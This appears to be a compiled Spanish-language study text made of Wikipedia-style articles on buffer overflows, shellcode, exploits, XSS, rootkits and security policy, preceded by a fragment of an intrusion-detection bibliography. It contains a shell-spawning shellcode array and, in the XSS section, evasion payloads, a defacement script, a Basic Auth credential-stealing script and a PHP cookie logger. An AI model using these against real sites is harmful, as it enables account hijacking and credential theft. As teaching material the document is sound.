(Advanced Security Audit Trail Analysis on uniX. Implementation Design of the NADF
Evaluator).

N. Habra, B. Le Charlier, A. Mounji, I. Mathieu. In Proceedings of the Second


European Symposium on Research in Computer Security (ESORICS). Toulouse,
France, November 1992. (ASAX: Software Architecture and Rule-base Language for
Universal Audit Trail Analysis).

N. Habra, B. Le Charlier, A. Mounji. Research Report, December 1991, 34 pages.


(Preliminary Report on Advanced Security Audit Trail Analysis on uniX).

Steps for Recovering from a UNIX Root Compromise. (http://www.cert.org).

Marcus J. Ranum, "Intrusion detection: challenges and myths", Network Flight


Recorder, Inc., March 2000.

Ellen Messmer, "Intrusion-detection software", Network World, April 1999.

Dan Farmer (Sun Microsystems), Wietse Venema (Eindhoven University of


Technology), "Improving the security of your site by breaking into it", 1997.
David Newman, Tadesse Giorgis, and Farhad Yavari-Issalou, "Intrusion detection
systems: suspicious finds", Data Communications, August 1998.

Desbordamiento de búfer
De Wikipedia

(Redirigido desde Buffer overflow)


Saltar a navegación, búsqueda

Un desbordamiento de búfer (del inglés buffer overflow) es un error de software que


se produce cuando se copia una cantidad más grande de datos sobre un área más
pequeña sin interrumpir la operación, sobreescribiendo otras zonas de memoria.

En algunas ocasiones eso puede suponer la posibilidad de alterar el flujo del programa
pudiendo hacer que éste realice operaciones no previstas. Esto es posible dado que en
las arquitecturas comunes de ordenadores, la memoria no tiene separación entre la
dedicada a datos y a programa.

Si el programa que tiene el error en cuestión tiene privilegios especiales se convierte


además en un fallo de seguridad. El código copiado especialmente preparado para
obtener los privilegios del programa atacado se llama shellcode.

[editar]

Vease tambien
• HoF

• FSoF

• Exploit

• Bug

Shellcode
De Wikipedia

Saltar a navegación, búsqueda

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje


ensamblador que se inyectan en la pila para conseguir que la máquina en la que reside
se ejecute la operación que se haya programado.
Una shellcode ejemplar, escrita según la notación del C:

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* movl $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

NOTA: En el ejemplo anterior, el array de carateres se obtiene al desensamblar el


código programado en lenguaje ensamblador, una vez compilado (binario). Así tenemos
que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente
se utilizan dentro de programas escritos en C.

Las shellcodes deben ser cortas. Las más cortas conocidas hoy día son las de 22 bytes.

Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades


exploit en el código llamadas desbordamiento de búfer. Principalmente el shellcode se
programa para permitir ejecutar un intérprete de comandos en el equipo afectado.

Exploit
De Wikipedia

Saltar a navegación, búsqueda

Exploit (del inglés to exploit, explotar, aprovechar) es el nombre con el que se


identifica un programa informático malicioso, o parte del programa, que trata de forzar
alguna deficiencia o vulnerabilidad de otro programa. El fin puede ser la destrucción o
inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas
de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en
beneficio propio o como origen de otros ataques a terceros.

Los exploits se pueden caracterizar según las categorías de vulnerabilidades utilizadas:

• Vulnerabilidades de desbordamiento de
buffer.
• Vulnerabilidades de condición de carrera
(race condition).
• Vulnerabilidades de error de formato de
cadena (format string bugs).
• Vulnerabilidades de Cross Site Scripting
(XSS).
• Vulnerabilidades de Inyección SQL.
• Vulnerabilidades de Inyección de
Caracteres (CRLF).
• Vulnerabilidades de denegación del servicio
• Vulnerabilidades de Inyección múltiple
HTML (Multiple HTML Injection).
• Vulnerabilidades de ventanas enganosas o
mistificación de ventanas (Window Spoofing).

Condición de carrera
De Wikipedia

Saltar a navegación, búsqueda

En electrónica y en programación concurrente, se conoce como condición de carrera


(en inglés race condition) al error que se produce en programas o circuitos lógicos
cuando no han sido diseñados adecuadamente para su ejecución simultánea con otros.

Un ejemplo típico es el interbloqueo que se produce cuando dos procesos están


esperando a que el otro realice una acción. Como los dos están esperando, ninguno llega
a realizar la acción que el otro espera.

Obtenido de "http://es.wikipedia.org/wiki/Condici%C3%B3n_de_carrera"

XSS (Cross Site Scripting) -

Introduccion
Es el ataque basado en la explotacion de vulnerabilidades del sistema de validación de
HTML incrustado. El problema es que normalmente no se valida correctamente. Esta
vulnerabilidad puede estar presente de forma directa (foros, mensajes de error) o
indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

Directa

Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que
puedas usar tags como <script> o <iframe>

Indirecta
Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en
modificar valores que la aplicacion web utiliza para pasar variables entre dos páginas,
sin usar sesiones.

[editar]

Indirecta
Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie.
Para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu
navegador, puedes usar el siguiente script. Sólo colócalo en la barra de direcciones, y
presiona Enter. javascript:void(document.cookie=prompt("Modifica el valor de la
cookie",document.cookie).split(";"));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se
borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo
modificando una URL.

[editar]

Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame
a esa página. ¿Qué pasara si pones en esa URL?

javascript:while(1)alert("Te estoy floodeando");

Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá,


bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendra un loop
infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata
de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que
borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de
qué sirve? Tengo el PHPSESSID, y si el usuario ciera sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir
tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera,
pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un
exploit.
Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero
realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo.
Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede
colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.

[editar]

Mensaje personalizado
La técnica sólo funciona con imágenes: error.php?error=Usuario%20Invalido

Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesion actual la mande al
atacante (es lo que explicaba de cURL hace un momento), puede causar estragos.

Este codigo (muy peligroso) borra todo el contenido de la página en cuestión, y escribe
otra cosa:

<script>
document.documentElement.innerHTML="DEFACED";
</script>

[editar]

Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por
ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div>
malicioso, o incluso un <u> o <s> . Tags que casi siempre están permitidos.

Esto pone los pelos de punta a muchos webmasters.

[editar]

Ejemplos de Scripts donde no son comunes de


encontrar
<BR SIZE="&{alert('XSS')}">

<FK STYLE="behavior: url(http://yoursite/xss.htc);">


<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Usar Style es increíblemente fácil de usar, y lo malo es que muchos filtros son
vulnerables. eval(this.fu) y en el div, se puede agregar un campo "fu" con el código

[editar]

Ajax
Este es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo
de vulnerabilidad para introducir un objeto XMLHTTP y desde ahí enviar contenido
POST, GET, sin conocimeinto del usuario

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un


sistema basado en Basic Auth. Sólo habría que decodificarlo, pero es más fácil
mandarlo codificado al log de contraseñas . La codificacién es base64.

[editar]

Script para obtener credenciales en tipo BASIC


Esta tecnica tambien es llamada XST Cross Site Tracing XST

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

xmlhttp.open("TRACE","./",false);

xmlhttp.send();

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.split("Cache");

alert(str3);
[editar]

log.php para registrar cookies


<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];
$usuario = $_GET['id'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<hr>USUARIO Y PASSWORD:


'.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.
$re.'<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>
[editar]

Links
XSS Cheat Sheet

Ejemplo de uso de Flash para hacer ataques XSS

Otro tutorial de XSS centrado especificamente en la practica

XSS FAQ

Obtenido de "http://es.wikipedia.org/wiki/XSS"

Rootkit
De Wikipedia

Saltar a navegación, búsqueda

Un rootkit es un conjunto de herramientas usadas frecuentemente por los intrusos o


crackers que consiguen acceder ilícitamente a un sistema informático. Estas
herramientas sirven para esconder los procesos y archivos que permiten al intruso
mantener el acceso al sistema, a menudo con fines maliciosos. Hay rootkits para una
amplia variedad de sistemas operativos, como Linux, Solaris o Microsoft Windows.
Origen de los rootkits
El término "rootkit" (también se puede escribir "root kit") en sus orígenes hacía
referencia a un grupo de herramientas recompiladas de Unix como ps, netstat, w o
passwd que habiendo sido debidamente modificadas, ocultaban cualquier actividad del
cracker. De este modo, el intruso podría mantener el control del sistema con privilegios
de superusuario, pero quedando oculto a los ojos de los usuarios y administradores.

Actualmente, el término no está restringido a los sistemas operativos basados en Unix,


ya que existen herramientas similares para otros sistemas como Windows (incluso para
los sistemas operativos que no utilizan cuentas de root).

[editar]

Objetivos de un rootkit
Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede
incluir software para interceptar datos procedentes de terminales, conexiones de red e
incluso el teclado (keylogger). Los rootkits son habitualmente considerados como
troyanos.

[editar]

Uso de los rootkits


Un rootkit se usa habitualmente para esconder algunas aplicaciones que podrían actuar
en el sistema atacado. Suelen incluir backdoors (puertas traseras) para ayudar al intruso
a acceder fácilmente al sistema una vez que se ha conseguido entrar por primera vez.
Por ejemplo, el rootkit puede esconder una aplicación que lance una consola cada vez
que el atacante se conecte al sistema a través de un determinado puerto. Los rootkits del
kernel o núcleo pueden contener funcionalidades similares. Un backdoor puede permitir
también que los procesos lanzados por un usuario sin privilegios de administrador
ejecuten algunas funcionalidades reservadas únicamente al superusuario. Todo tipo de
herramientas útiles para obtener información de forma ilícita pueden ser ocultadas
mediante rootkits.

Los rootkits se utilizan también para usar el sistema atacado como "base de
operaciones", es decir, usarlo a su vez para lanzar ataques contra otros equipos. De este
modo puede parecer que es el sistema inflitrado el que lanza los ataques y no el intruso
externo. Este tipo de ataques podrían ser de denegación de servicio (DoS), ataques
mediante IRC o mediante correo electrónico (spam).

Recientemente, algunas aplicaciones de spyware e incluso CDs comerciales con


sistemas de gestión de derechos digitales (DRM) han empezado a utilizar rootkits para
esconderse a sí mismos de los programas anti-spyware, haciendo su desinstalación del
equipo mucho más complicada.

[editar]
Tipos de rootkits
[editar]

Tipos básicos

Los rootkits se pueden clasificar en dos grupos: los que van integrados en el núcleo y
los que funcionan a nivel de aplicación. Los que actúan desde el kernel añaden o
modifican una parte del código de dicho núcleo para ocultar el backdoor. Normalmente
este procedimiento se complementa añadiendo nuevo código al kernel, ya sea mediante
un controlador (driver) o un módulo, como los módulos del kernel de Linux o los
dispositivos del sistema de Windows. Estos rootkits suelen parchear las llamadas al
sistema con versiones que esconden información sobre el intruso. Son los más
peligrosos, ya que su detección puede ser muy complicada.

Los rootkits que actúan como aplicaciones pueden reemplazar los archivos ejecutables
originales con versiones crackeadas que contengan algún troyano, o también pueden
modificar el comportamiento de las aplicaciones existentes usando hacks, parches,
cógido inyectado, etc.

[editar]

Ejemplos

• FU Rootkit
• SuckIT
• Adore
• T0rn
• Ambient's Rootkit (ARK)
• Hacker Defender
• First 4 Internet XCP (Extended Copy
Protection) DRM

[editar]

Detección de rootkits
Hay limitaciones inherentes a cualquier programa que intente detectar rootkits mientras
se estén ejecutando en el sistema sospechoso. Los rootkits son aplicaciones que
modifican muchas de las herramientas y librerías de las cuales depende el sistema.
Algunos rootkits modifican el propio kernel (a través de módulos y otros métodos como
se indica más arriba). El principal problema de la detección de rootkits consiste en que
el sistema operativo en ejecución no es fiable globalmente. En otras palabras, algunas
acciones como pedir la lista de los procesos en ejecución o listar los ficheros de un
directorio no son fiables al no comportarse como deberían.

El mejor método para detectar un rootkit es apagar el sistema que se considere infectado
y revisar o salvar los datos arrancando desde un medio alternativo, como un CD-ROM
de rescate o un PenDrive. Un rootkit inactivo no puede ocultar su presencia. Los
programas antivirus mejor preparados suelen identificar a los rootkits que funcionan
mediante llamadas al sistema y peticiones de bajo nivel, las cuales deben quedar
intactas. Si hay alguna diferencia entre ellas, se puede afirmar la presencia de un rootkit.
Los rootkits intentan protegerse a sí mismos monitorizando los procesos activos y
suspendiendo su actividad hasta que el escaneo ha finalizado, de modo que el rootkit no
pueda ser identificado por un detector.

Los fabricantes de aplicaciones de seguridad han ido integrando los detectores de


rootkits en los productos tradicionales de detección de antivirus. Si un rootkit consigue
esconderse durante el proceso de detección, será identificado por el detector de rootkits,
que busca movimientos sospechosos. Si el rootkit "decide" detenerse
momentáneamente, será identificado como un virus. Esta técnica combinada de
detección puede obligar a los atacantes a implementar mecanismos de contraataque
(también llamados retro-rutinas) en el código del rootkit, con el objetivo de eliminar los
procesos creados por el software de seguridad, eliminando así al programa antivirus de
la memoria. Al igual que con los virus convencionales, la detección y eliminación de los
rootkits será una batalla permanente entre los creadores del rootkit y de los programas
de seguridad.

Hay varios programas disponibles para detectar rootkits. En los sistemas basados en
Unix, dos de las aplicaciones más populares son chkrootkit y rkhunter. Para Windows
está disponible un detector llamado Blacklight (gratuito para uso personal) en la web de
F-Secure. Otra aplicación de detección para Windows es Rootkit Revealer de
Sysinternals. Detecta todos los rootkits actuales comparando las funcionalidades del
sistema operativo original con las que se han detectado. Sin embargo, algunos rootkits
han empezado a añadir este programa a la lista de los cuales no deben esconderse. En
esencia, eliminan las diferencias entre los dos listados, de modo que el detector no los
encuentra. Pero algo tan simple como renombrar el fichero rootkitrevealer.exe hace que
el rootkit ya no sepa que se está enfrentando a un detector. Como se decía antes, será
una continua batalla entre los rootkits y los antivirus.

[editar]

Véase también
• Cracker
• Virus informático
• Seguridad informática

[editar]

Enlaces externos
• ROOTKIT.COM - comunidad de desarrollo
de rootkits
• Rootkits en el kernel de Linux
• Análisis del rootkit T0rn
• Rootkits para Windows y Linux y software
de detección(En alemán)
• Ejemplo de un rootkit eliminado como un
virus
• Anti-trojan.org: Información sobre troyanos
en rootkits y software de detección
• Strider GhostBuster Rootkit Detection

[editar]

Software de detección de rootkits

Freeware

• www.antirootkit.com
(Windows/UNIX/Linux)
• chkrootkit (UNIX/Linux)
• rkhunter (UNIX/Linux)
• RootkitRevealer (Windows) está disponible
en Sysinternals y se actualiza continuamente
• klister es un grupo de herramientas en fase
preliminar
• flister programa para detectar archivos
ocultos por rootkits en Windows
• IceSword Aquí hay una revisión IceSword
--> 1. Introducción (español) IceSword --> 2.
Tutorial (español)

Shareware

• Rkdetector v2.0 Orientado al análisis


forense permite detectar y eliminar rootkits
además de poder ser usado como software de
recuperación de datos.
• Blacklight (versión beta) de F-Secure tiene
versión en línea de comandos y gráfica.
• Security Task Manager es un gestor de
tareas avanzado que puede mostrar procesos y
servicios ocultos
• TaskInfo de Igor Arsenin es otro gestor de
tareas mejorado
• unhackme de Greatis software
• Trojanhunter de Mischel Internet Security
AB
• ProcessGuard de Diamond Computer
Systems Pty. Ltd.
• Rootkit Downloads Descargas de anti-
rootkits y rootkits (en alemán).

Obtenido de "http://es.wikipedia.org/wiki/Rootkit"
Seguridad informática
De Wikipedia

Saltar a navegación, búsqueda

La seguridad informática, generalmente consiste en asegurar que los recursos del


sistema de información (material informático o programas) de una organización sean
utilizados de la manera que se decidió.

Introducción
Podemos entender como seguridad una característica de cualquier sistema (informático
o no) que nos indica que ese sistema está libre de peligro, daño o riesgo. Se entiende
como peligro o daño todo aquello que pueda afectar su funcionamiento directo o los
resultados que se obtienen del mismo. Para la mayoría de los expertos el concepto de
seguridad en la informática es utópico porque no existe un sistema 100% seguro. Para
que un sistema se pueda definir como seguro debemos de dotar de tres características al
mismo:

• Integridad
• Confidencialidad
• Disponibilidad

Dependiendo de las fuentes de amenazas, la seguridad puede dividirse en seguridad


lógica y seguridad física.

[editar]

Términos relacionados con la seguridad informática

• Activo: recurso del sistema de información


o relacionado con éste, necesario para que la
organización funcione correctamente y alcance
los objetivos propuestos.
• Amenaza: evento que pueden desencadenar
un incidente en la organización, produciendo
daños materiales o pérdidas inmateriales en sus
activos.
• Impacto: consecuencia de la
materialización de una amenaza.
• Riesgo: posibilidad de que se produzca un
Impacto determinado en un Activo, en un
Dominio o en toda la Organización.
• Vulnerabilidad: posibilidad de ocurrencia
de la materialización de una amenaza sobre un
Activo.
• Ataque: evento, exitoso o no, que atenta
sobre el buen funcionamiento del sistema.

Aunque a simple vista se puede entender que un Riesgo y una Vulnerabilidad se podrían
englobar un mismo concepto, una definición más informal denota la diferencia entre
riesgo y vulnerabilidad, de modo que se debe la Vulnerabilidad está ligada a una
Amenaza y el Riesgo a un Impacto.

[editar]

Análisis de riesgos
El activo más importante que se posee es la información, y por lo tanto deben existir
técnicas que la aseguren, más allá de la seguridad física que se establezca sobre los
equipos en los cuales se almacena. Estas técnicas las brinda la seguridad lógica que
consiste en la aplicación de barreras y procedimientos que resguardan el acceso a los
datos y sólo permiten acceder a ellos a las personas autorizadas para hacerlo.

Existe un viejo dicho en la seguridad informática que dicta: "lo que no está permitido
debe estar prohibido" y esto es lo que debe hacer ésta seguridad lógica.

Los objetivos para conseguirlo son:

1. Restringir el acceso (de personas de la


organización y de las que no lo son) a los
programas y archivos.
2. Asegurar que los operadores puedan
trabajar pero que no puedan modificar los
programas ni los archivos que no correspondan
(sin una supervisión minuciosa).
3. Asegurar que se utilicen los datos, archivos
y programas correctos en/y/por el procedimiento
elegido.
4. Asegurar que la información transmitida
sea la misma que reciba el destinatario al cual se
ha enviado y que no le llegue a otro.
5. Asegurar que existan sistemas y pasos de
emergencia alternativos de transmisión entre
diferentes puntos.
6. Organizar a cada uno de los empleados por
jerarquía informática, con claves distintas y
permisos bien establecidos, en todos y cada uno
de los sistemas o softwares empleados.
[editar]

Puesta en marcha de una política de seguridad


Generalmente se ocupa exclusivamente a asegurar los derechos de acceso a los datos y
recursos con las herramientas de control y mecanismos de identificación. Estos
mecanismos permiten saber que los operadores tiene sólo los permisos que se les dio.

La seguridad informática debe ser estudiada para que no impida el trabajo de los
operadores en lo que les es necesario y que puedan utilizar el sistema informático con
toda confianza. Por eso en lo referente a elaborar una política de seguridad, conviene:

• elaborar reglas y procedimientos para cada


servicio de la organización
• definir las acciones a emprender y elegir las
personas a contactar en caso de detectar una
posible intrusión
• sensibilizar los operadores con los
problemas ligados con la seguridad de los
sistemas informáticos

Los derechos de acceso de los operadores deben ser definidos por los responsables
jerárquicos y no por los administradores informáticos, los cuales tienen que conseguir
que los recursos y derechos de acceso sean coherentes con la política de seguridad
definida. Además, como el administrador suele ser el único en conocer perfectamente el
sistema, tiene que derivar a la directiva cualquier problema e información relevante
sobre la seguridad, y eventualmente aconsejar estrategias a poner en marcha, así como
ser el punto de entrada de la comunicación a los trabajadores sobre problemas y
recomendaciones en término de seguridad.

[editar]

Las amenazas
Una vez que la programación y el funcionamiento de un dispositivo de almacenamiento
(o transmisión) de la información se consideran seguras, todavía deben ser tenidos en
cuenta los circunstancias "no informáticas" que pueden afectar a los datos, las cuales
son a menudo imprevisibles o inevitables, de modo que la única protección posible es la
redundancia (en el caso de los datos) y la descentralización -por ejemplo mediante
estructura de redes- (en el caso de las comunicaciones).

Estos fenómenos pueden ser causados por:

• un operador: causa del mayor problema


ligado a la seguridad de un sistema informático
(por que no le importa, no se da cuenta o a
propósito).
• programas maliciosos: programas
destinados a perjudicar o a hacer un uso ilícito de
los recursos del sistema es instalado (por
inatención o maldad) en el ordenador abriendo
una puerta a intrusos o bien modificando los
datos. Estos programas pueden ser un virus
informático, un gusano informático, un troyano,
una bomba lógica o un programa espía o Spyware
• un intruso : persona que consigue acceder a
los datos o programas de los cuales no tiene
acceso permitido (cracker, defacer, script kiddie o
Script boy, viruxer, etc.)
• un siniestro (robo, incendio, por agua) : una
mala manipulación o una malintención derivan a
la pérdida del material o de los archivos.
• el personal interno de Sistemas. Las pujas
de poder que llevan a disociaciones entre los
sectores y soluciones incompatibles para la
seguridad informática.

[editar]

Técnicas de aseguramiento del sistema


• Codificar la información: Criptología,
Criptografía y Criptociencia. Contraseñas difíciles
de averiguar.
• Vigilancia de red.
• Tecnologías repelentes o protectoras:
cortafuegos, sistema de detección de intrusos -
anti-spyware, antivirus, llaves para protección de
software, etc. Mantener los sistemas de
información con las actualizaciones que más
impacten en la seguridad.

[editar]

Consideraciones de software

Tener instalado en la máquina únicamente el software necesario reduce riesgos. Así


mismo tener controlado el software asegura la calidad de la procedencia del mismo (el
sofware pirata o sin garantías aumenta los riesgos). En todo caso un inventario de
software proporciona un método correcto de asegurar la reinstalación en caso de
desastre. El software con métodos de instalación rápidos facilita también la
resintalación en caso de contingencia.

Existe software que es famoso por la cantidad de agujeros de seguridad que introduce.
Se pueden buscar alternativas que proporcionen iguales funcionalidades pero
permitiendo una seguridad extra.

[editar]
Consideraciones de una red

Los puntos de entrada en la red son generalmente el correo, las páginas web y la entrada
de ficheros desde discos, o de ordenadores ajenos, como portátiles.

Mantener al máximo el número de recursos de red en sólo en modo lectura impide que
ordenadores infectados propagen virus. En el mismo sentido se pueden reducir los
permisos de los usuarios al mínimo.

Se pueden centralizar los datos de forma que detectores de virus en modo batch puedan
trabajar durante el tiempo inactivo de las máquinas.

Controlar y monitorizar el acceso a Internet puede detectar, en fases de recuperación,


como se ha introducido el virus.

[editar]

Algunos tópicos erróneos acerca de la seguridad


• Mi sistema no es importante para un
hacker. Este tópico se basa en la idea de que no
introducir passwords seguras en una empresa no
entraña riesgos pues ¿quien va a querer obtener
información mía?. Sin embargo, dado que los
métodos de contagio se realizan por medio de
programas automáticos, desde unas máquinas a
otras, estos no distinguen buenos de malos,
interesantes de no interesantes, etc. Por tanto abrir
sistemas y dejarlos sin claves es facilitar la vida a
los virus.
• Estoy protegido pues no abro archivos que
no conozco. Esto es falso, pues existen múltiples
formas de contagio, además los programas
realizan acciones sin la supervisión del usuario
poniendo en riesgo los sistemas.
• Como tengo antivirus estoy protegido. En
general los programas antivirus no son capaces de
detectar todas las posibles formas de contagio
existentes, ni las nuevas que pudieran aparecer
conforme los ordenadores aumenten las
capacidades de comunicación.
• Como dispongo de un firewall no me
contagio. Esto únicamente proporciona una
limitada capacidad de respuesta. Las formas de
infectarse en una red son múltiples. Unas
provienen directamente de accesos al sistema (de
lo que protege un firewall) y otras de conexiones
que se realizan (de las que no me protege).
Emplear usuarios con altos privilegios para
realizar conexiones puede entrañar riesgos.
[editar]

Organismos oficiales de seguridad informática


Existen organismos oficiales encargados de asegurar servicios de prevención de riesgos
y asistencia a los tratamientos de incidencias. Como el CERT/CC (Computer
Emergency Response Team Coordination Center) del SEI de la Carnegie Mellon
University son centros de alertas y reacción frente a los ataques informáticos, destinados
a las empresas o administradores, pero generalmente estas informaciones son accesibles
a todo el mundo. Hacking

Obtenido de "http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica"

Você também pode gostar